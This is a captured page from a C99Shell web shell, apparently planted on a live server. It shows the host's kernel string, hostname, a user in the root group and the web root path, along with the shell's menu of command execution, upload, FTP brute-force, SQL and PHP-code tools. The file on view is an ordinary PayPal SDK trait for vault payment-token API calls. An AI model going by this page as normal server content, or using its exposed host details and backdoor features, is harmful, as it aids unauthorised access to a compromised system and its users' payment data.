!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/src/Traits/PayPalAPI/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentMethodsTokens.php (3.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Traits\PayPalAPI;

trait 
PaymentMethodsTokens
{
    use 
PaymentMethodsTokens\Helpers;

    
/**
     * Create a payment method token.
     *
     * @param array $data
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#payment-tokens_create
     */
    
public function createPaymentSourceToken(array $data)
    {
        
$this->apiEndPoint 'v3/vault/payment-tokens';

        
$this->options['json'] = $data;

        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * List all the payment tokens.
     *
     * @param int  $page
     * @param int  $page_size
     * @param bool $totals
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#customer_payment-tokens_get
     */
    
public function listPaymentSourceTokens(int $page 1int $page_size 10bool $totals true)
    {
        
$this->apiEndPoint "v3/vault/payment-tokens?customer_id={$this->customer_source['id']}&page={$page}&page_size={$page_size}&total_required={$totals}";

        
$this->verb 'get';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Show details for a payment method token.
     *
     * @param string $token
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#payment-tokens_get
     */
    
public function showPaymentSourceTokenDetails(string $token)
    {
        
$this->apiEndPoint "v3/vault/payment-tokens/{$token}";

        
$this->verb 'get';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Show details for a payment token.
     *
     * @param string $token
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#payment-tokens_delete
     */
    
public function deletePaymentSourceToken(string $token)
    {
        
$this->apiEndPoint "v3/vault/payment-tokens/{$token}";

        
$this->verb 'delete';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Create a payment setup token.
     *
     * @param array $data
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#setup-tokens_create
     */
    
public function createPaymentSetupToken(array $data)
    {
        
$this->apiEndPoint 'v3/vault/setup-tokens';

        
$this->options['json'] = $data;

        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Show details for a payment setup token.
     *
     * @param string $token
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#setup-tokens_get
     */
    
public function showPaymentSetupTokenDetails(string $token)
    {
        
$this->apiEndPoint "v3/vault/setup-tokens/{$token}";

        
$this->verb 'get';

        return 
$this->doPayPalRequest();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.008 ]--